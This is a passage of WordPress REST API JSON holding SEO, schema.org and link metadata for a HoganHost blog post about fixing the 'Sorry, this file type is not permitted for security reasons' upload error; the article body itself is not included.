blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-05-06T23:06:42+00:00","article_modified_time":"2024-08-12T12:34:58+00:00","og_image":[{"width":1024,"height":512,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png","type":"image\/png"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress","datePublished":"2021-05-06T23:06:42+00:00","dateModified":"2024-08-12T12:34:58+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/"},"wordCount":968,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png","articleSection":["wordpress"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/","url":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/","name":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png","datePublished":"2021-05-06T23:06:42+00:00","dateModified":"2024-08-12T12:34:58+00:00","description":"Are you trying to\u00a0upload a file to your WordPress Media Library only to be met with a message telling you \u201cSorry, this file type is not","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/05\/sorry-this-file-type-is-not-permitted-for-security-reasons-1024x512-1.png","width":1024,"height":512},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-fix-sorry-this-file-type-is-not-permitted-for-security-reasons-error-in-wordpress\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to Fix \u201cSorry, This File Type Is Not Permitted for Security Reasons\u201d Error in WordPress"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=352"}],"version-history":[{"count":1,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/352\/revisions"}],"predecessor-version":[{"id":361,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/352\/revisions\/361"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/353"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}